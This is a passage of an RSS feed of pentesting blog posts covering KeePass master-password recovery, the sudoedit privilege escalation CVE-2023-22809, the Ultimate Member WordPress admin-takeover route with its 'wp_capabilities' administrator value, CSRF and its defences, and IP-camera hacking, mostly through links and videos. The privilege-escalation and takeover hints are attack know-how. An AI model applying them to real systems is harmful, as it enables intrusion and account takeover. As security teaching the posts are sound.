data effectively.</p><p><em>Ideally, 1 and 2 are of serious concern as they are dependent on certain factors, like the development of software and human tendencies to their passwords.</em></p><blockquote><strong>Memory Dumping:</strong></blockquote><h3>A researcher published a PoC to retrieve the master password from KeePass by exploiting the CVE-2023–32784 vulnerability.</h3><p>Security researcher Vdohney released a PoC tool called<a href="https://github.com/vdohney/keepass-password-dumper"> KeePass 2.X Master Password Dumper</a> that allows retrieving the master password for KeePass.</p><p>The tool exploits the unpatched KeePass vulnerability, tracked <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32784">CVE-2023–32784</a>, to retrieve the master password from the memory of KeePass 2.x versions. While trying to extract the password from the memory dump you will observe that the recovered password will be missing some characters then to recover the remaining of them either you have to depend on wild guesses or use a popular password cracking tool like John the Ripper and Hashcat. (That too when the user has set some simple kind of password)</p><blockquote><strong>Weak master password:</strong></blockquote><p>I took this approach more often as you will face this kind of use case more often to handle the need I have also coded a simple Python script that you can club with any password list of your choice and get a hold on the master password provided you have database file of KeePass.(Script given below)</p><p><a href="https://github.com/R0aDt0OSCP/Pythonforpentester/blob/main/Keepass_exploiter.py">Pythonforpentester/Keepass_exploiter.py at main · R0aDt0OSCP/Pythonforpentester</a></p><p>Let&#39;s see complete walkthrough of the exploitation</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fu5YPDgkfdVQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Du5YPDgkfdVQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fu5YPDgkfdVQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/223cff361780ec8e61f692495671a94b/href">https://medium.com/media/223cff361780ec8e61f692495671a94b/href</a></iframe><p>If you like this article,clap and share your comments .</p><p>happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0b5691f1409" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sudoedit Local Privilege Escalation Vulnerability (CVE-2023–22809)]]></title>
            <link>https://shellxpl0it.medium.com/sudoedit-local-privilege-escalation-vulnerability-cve-2023-22809-23ad28e3c70?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/23ad28e3c70</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sun, 27 Aug 2023 15:13:32 GMT</pubDate>
            <atom:updated>2023-08-27T15:13:32.724Z</atom:updated>
            <content:encoded><![CDATA[<p>On January 18th, 2023, Synacktiv released an advisory regarding a vulnerability in sudo (CVE-2023–22809). This vulnerability allows users to escalate their privilege. Once a user has sudo privilege it’s pointless to say that is “what all he can do in that system”!!!!</p><p>But to exploit the vulnerability It requires two conditions to be met 1.</p><ol><li>The first condition is that the sudoers policy (or in other words, the system policy for super user elevation) must allow users to edit any individual file on the system using sudoedit or sudo -e.</li><li>The second condition is that users must specify an editor that relies on “ — ” arguments to determine the list of files to edit.</li></ol><h3>What is sudo?</h3><p>In a Linux-based system, sudo (short for “super user do”) allows users to run commands that require elevated privileges. An example might be to install updates or to move a file to a protected directory.</p><h3>How sudo Works?</h3><p>When a user tries to execute the sudo command, It first checks the user&#39;s permissions in a configuration file “/etc/sudoers/” This contains a list of users and their corresponding permissions. If the user is authorized to run the command using “sudo” then they will be asked to enter their password to confirm their identity before the command is executed with elevated privileges. Another way is if the user is listed in the sudoers file with the NOPASSWD option. This allows the user to run either one command or all commands as root without confirming a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*VAXjoz6o5Dz70A8AqX0ndQ.png" /></figure><blockquote><strong>The detailed Technical analysis of sudo :</strong></blockquote><p>From the technical analysis released by SYNACKTIVE, the sudoers program calls the sudoers_policy_main() function, which is responsible for handling the lookup and validation of the policy using the sudoers_lookup() function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*pZgHnelp3h4uwfVc3KG-1w.png" /><figcaption><a href="https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf">https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf</a></figcaption></figure><blockquote>Exploitation:-</blockquote><p>A vulnerable sudoers policy file would contain a few lines that look something like this:</p><p>tester ALL=(root) NOPASSWD: sudoedit /etc/someprivledgedfile</p><blockquote>Exploiting Tool:</blockquote><p><a href="https://github.com/CyberCommands/exploit-sudoedit">GitHub - CyberCommands/exploit-sudoedit</a></p><blockquote><strong>Whats is the code all about:</strong></blockquote><p>Part 1: The code is trying to detect whether the current version is vulnerable or not.</p><p>&quot;sudo --version | head -1 | grep -qE &#39;(1\.8.*|1\.9\.[0–9]1?(p[1–3])?|1\.9\.12p1)$&#39;&quot;. If it is not vulnerable, print &quot;&gt; Currently installed sudo version is not vulnerable&quot; and exit with error code 1.<br>fi</p><p>Part 2: The second part of the script checks if the current user has permission to run “<strong>sudoedit</strong>” or “<strong>sudo -e</strong>” commands with <strong>root privileges</strong>, which can potentially be used to escalate privileges.</p><p>Part3:The third part of the script displays a message instructing the user to add a line to the <strong>sudoers file</strong>, which allows the current user to run any command with root privileges.</p><p>Video of Exploitation:-</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FhlHQd_xsBRE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DhlHQd_xsBRE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FhlHQd_xsBRE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/80326bd3f3c93bb9c2369a7af12a70f6/href">https://medium.com/media/80326bd3f3c93bb9c2369a7af12a70f6/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23ad28e3c70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Ultimate Member WordPress Plugin Vulnerability]]></title>
            <link>https://shellxpl0it.medium.com/exploiting-ultimate-member-wordpress-plugin-vulnerability-46fd80451f21?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/46fd80451f21</guid>
            <category><![CDATA[hacking-workshop]]></category>
            <category><![CDATA[wordpress-plugins]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sun, 09 Jul 2023 05:45:52 GMT</pubDate>
            <atom:updated>2023-07-09T05:45:52.922Z</atom:updated>
            <content:encoded><![CDATA[<p>On July 1st,2023, there was news that a “<em>Vulnerability in WordPress plugin with 200,000+ active installations allows full site takeover with only “trivial” effort”.A CVE was also assigned to the vulnerability </em>as CVE-2023–3460, with a CVSS v3.1 score of 9.8 (“critical”),</p><p>As there was no publicly available exploit to use then and there, I thought to delve into the plugin installed in a personal WP setup and explore what could be done to exploit it.</p><p>After some hours of website and understanding the process used by this plugin I got the route to the exploitation.</p><blockquote><strong>Exploitation Route:</strong></blockquote><p>If you have ever installed WordPress and watched its DB closely then you may have observed the things highlighted below. if not, no worries here is a brief explanation about the same(from <a href="https://medium.com/u/d53dd768d047">Stack Overflow</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tM2q2XqWflbbztLeuENOsw.png" /></figure><p><a href="https://stackoverflow.com/questions/13094601/changing-a-wordpress-user-to-an-admin">Changing a wordpress user to an admin</a></p><pre>meta_key                meta_value<br>wp_capabilities       a:1:{s:13:&quot;administrator&quot;;b:1;}<br></pre><blockquote><strong>Time to kill</strong></blockquote><p>Now once I got the exploitation route it was just about using it in my exploit request and which let me achieve the admin-level privileges in the WP setup.</p><p>As a responsible disclosure, I have tried to hide max possible things in the video POC given here(So bear with me, those who want to have ready cake). However, enough hint is given to make your path easier to exploit.</p><blockquote>Demo Time</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FEZCG6-1A7T8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DEZCG6-1A7T8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FEZCG6-1A7T8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/35509c70c40735f842798d2ce17d0d4c/href">https://medium.com/media/35509c70c40735f842798d2ce17d0d4c/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46fd80451f21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How CSRF bypass has helped me earn]]></title>
            <link>https://shellxpl0it.medium.com/how-csrf-bypass-has-helped-me-earn-479ed32aa01d?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/479ed32aa01d</guid>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sat, 03 Jun 2023 06:35:52 GMT</pubDate>
            <atom:updated>2023-06-03T06:35:52.350Z</atom:updated>
            <content:encoded><![CDATA[<p>Objective: Understanding Cross-Site Request Forgery (CSRF) and Its Implementation.</p><p>Introduction: In today’s interconnected web landscape, security threats are a persistent concern for businesses and individuals. Cross-Site Request Forgery (CSRF) is one such vulnerability that poses a significant risk to web applications. In this article, we will explore what CSRF is, how it works, and the measures that can be implemented to mitigate this threat.</p><blockquote><strong>What is CSRF?</strong></blockquote><p>As per standard definition, <em>Cross-Site Request Forgery (CSRF) is a type of web vulnerability that allows an attacker to perform unauthorized actions on behalf of a victim user on a trusted website. It occurs when a malicious actor tricks a victim into unknowingly executing unwanted actions, such as changing their password, making a purchase, or deleting valuable data</em>.</p><p>How does CSRF work?</p><p>CSRF attacks exploit the trust that websites place in a user’s browser. The process typically involves the following steps:</p><ol><li>The victim logs into a trusted website (such as an online banking platform) and receives a session cookie, which is stored in their browser.</li><li>Meanwhile, the attacker crafts a malicious website or email that contains a hidden request, usually in the form of an HTML form or an AJAX request. This request is designed to perform a harmful action on the trusted website.</li><li>The victim visits the attacker’s website or clicks on a malicious link in an email while still logged into the trusted website.</li><li>The attacker’s website or script automatically sends the hidden request to the trusted website, using the victim’s stored session cookie. Since the request appears to come from the victim’s browser, the trusted website processes it as a legitimate action.</li><li>The harmful action is executed on the trusted website without the victim’s knowledge or consent.</li></ol><p>More or less this pic taken from the internet will explain one possible scenario of an attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MysPPfeXQn9szqesTF7n9A.png" /></figure><blockquote>Implementing CSRF Protection:</blockquote><p>To mitigate the risk of CSRF attacks, web developers can implement several security measures:</p><ol><li>Random Token Pattern (RTP): The most widely-used technique, RTP involves generating a unique, random token for each user session. This token is then included as a hidden field in forms or added as a header in AJAX requests. When a request is received, the server verifies that the token matches the user’s session, preventing unauthorized requests.</li><li>SameSite Cookies: By setting the SameSite attribute to “Strict” or “Lax” in cookies, developers can restrict how they are sent in cross-origin requests. This helps prevent CSRF attacks by ensuring that cookies are not sent when the request originates from a different website.(<em>modern browser supports this kind of thing but that doesn’t mean a developer can overlook the necessity of secure code)</em></li><li>Double Submit Cookies: In this method, the server generates two tokens — a session-specific cookie and a form-specific cookie. The form-specific token is sent as a cookie and also included as a hidden field in the form. When the request is submitted, the server compares the two tokens to verify their consistency.</li><li>Captcha and reCAPTCHA: Including a challenge-response test, such as a Captcha or reCAPTCHA, can further protect against CSRF attacks. These mechanisms require users to solve a puzzle or enter specific characters, thus proving that they are human and not an automated script.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWQO0GjHkarDAFEs46PLZQ.png" /></figure><blockquote>Conclusion:</blockquote><p>Cross-Site Request Forgery (CSRF) remains a significant security concern in web applications. By understanding how CSRF attacks work and implementing appropriate countermeasures, developers can safeguard their users’ data and prevent unauthorized actions. Employing techniques such as the Random Token Pattern (RTP), SameSite Cookies, Double Submit Cookies, and Captcha/reCAPTCHA can significantly reduce the risk of CSRF attacks, providing a safer browsing experience for users and maintaining the integrity of web applications.</p><blockquote>Demo Time</blockquote><p>How can you leave the topic without a demo,lets roll it now</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUyYEUzEhAH0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUyYEUzEhAH0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FUyYEUzEhAH0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/95f6b4200a0d93d2113b6c8976d3919e/href">https://medium.com/media/95f6b4200a0d93d2113b6c8976d3919e/href</a></iframe><p>See and enjoy!! USe the techniques showcased in the video whenever you require that would be the real outcome of learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=479ed32aa01d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking IP Camera]]></title>
            <link>https://shellxpl0it.medium.com/hacking-ip-camera-74a6ce3c7e1e?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/74a6ce3c7e1e</guid>
            <category><![CDATA[ip-camera]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reversing]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Wed, 15 Mar 2023 15:12:34 GMT</pubDate>
            <atom:updated>2023-03-15T15:12:34.496Z</atom:updated>
            <content:encoded><![CDATA[<p>RTSP is Known as <strong>Real-time Streaming Protocol</strong> and is supported by all IP cameras, network video recorders, hybrid video recorders, and many more modern high-definition digital video recorders.</p><p>The protocol is similar to the HTTP protocol and commonly used for streaming media content. It uses some basic security mechanisms as one has noticed in HTTP-based<strong> communication.</strong></p><p>In this write up I will present a real demo of hacking into the camera through a video series.</p><p><strong>we will describe the following points:</strong></p><ol><li>How to use a threat intel platform to find the IP of such devices</li><li>We will also show how to reverse the firmware of these cameras</li><li>How to find juicy information stored in such cameras</li><li>Then how to use python to automate all these things for POC</li></ol><p>P Note: Some of the exclusive python scripts this time won&#39;t put up in my GitHub repo due to their possible misuse.</p><p>Here is video series I:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FaIbz7dWt-v0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DaIbz7dWt-v0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FaIbz7dWt-v0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0cc5c87822a30498577c3207d6a5600e/href">https://medium.com/media/0cc5c87822a30498577c3207d6a5600e/href</a></iframe><p>Here is the video series: II(knowing cameras Firmware)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FtPUBAxT8brY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DtPUBAxT8brY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FtPUBAxT8brY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/eb80c240df176594d10f7cbc9eff33d4/href">https://medium.com/media/eb80c240df176594d10f7cbc9eff33d4/href</a></iframe><p>In my final series of videos, I will take the reversing in deep from start to finish so stay tuned!!</p><p>let me know ur thoughts in case you like this series of camera hacking</p><p>Till then see ya!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74a6ce3c7e1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>